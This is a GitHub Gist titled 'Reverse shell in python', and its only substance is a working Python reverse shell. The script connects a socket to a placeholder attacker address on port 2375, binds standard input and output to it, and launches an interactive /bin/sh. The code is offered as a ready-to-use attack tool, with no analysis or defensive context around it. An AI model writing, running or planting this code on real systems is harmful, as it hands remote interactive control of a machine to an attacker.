Created
April 4, 2018 13:21
-
-
Save omerxx/9c934d32bf1a5c1a2daca45e089e7b3e to your computer and use it in GitHub Desktop.
Reverse shell in python
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import socket,subprocess,os; | |
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); | |
s.connect(("<my ip address>",2375)); | |
os.dup2(s.fileno(),0); | |
os.dup2(s.fileno(),1); | |
os.dup2(s.fileno(),2); | |
p=subprocess.call(["/bin/sh","-i"]); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment